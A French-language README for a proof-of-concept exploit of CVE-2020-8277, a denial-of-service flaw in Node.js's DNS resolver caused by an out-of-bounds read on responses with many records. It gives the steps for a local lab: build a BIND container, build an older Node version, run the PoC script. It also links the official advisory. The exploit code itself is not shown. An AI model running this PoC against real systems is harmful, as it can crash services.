
Preuve de concept d'exploitation pour CVE-2020-8277, une vulnérabilité de déni de service du résolveur DNS de Node.js, démontrant une lecture hors mémoire via des réponses DNS malveillantes.
À des fins éducatives uniquement.
# clone this repository
$ git clone https://github.com/masahiro331/CVE-2020-8277
# run bind
$ docker build -t bind-local ./bind
# Need TCP fallback
$ docker run --rm --name bind -it -p 53:53 -p 53:53/udp bind
# use "< v15.2.1" version
# If you use fixed version, build node.
$ git clone https://github.com/nodejs/node
$ git checkout df211208c0
$ ./configure
$ make -j8
$ make install
# Run PoC
$ node main.js
Voir la référence pour les détails.
https://nodejs.org/en/blog/vulnerability/november-2020-security-releases/
L'avis indique que la résolution d'un nom d'hôte qui renvoie un grand nombre d'enregistrements entraînera un déni de service (DoS).
La vulnérabilité présente une erreur de lecture hors mémoire.
Ligne concernée.
https://github.com/nodejs/node/blob/1fd2c8142b611baadc973947b83c0863cb003d9d/src/cares_wrap.cc#L764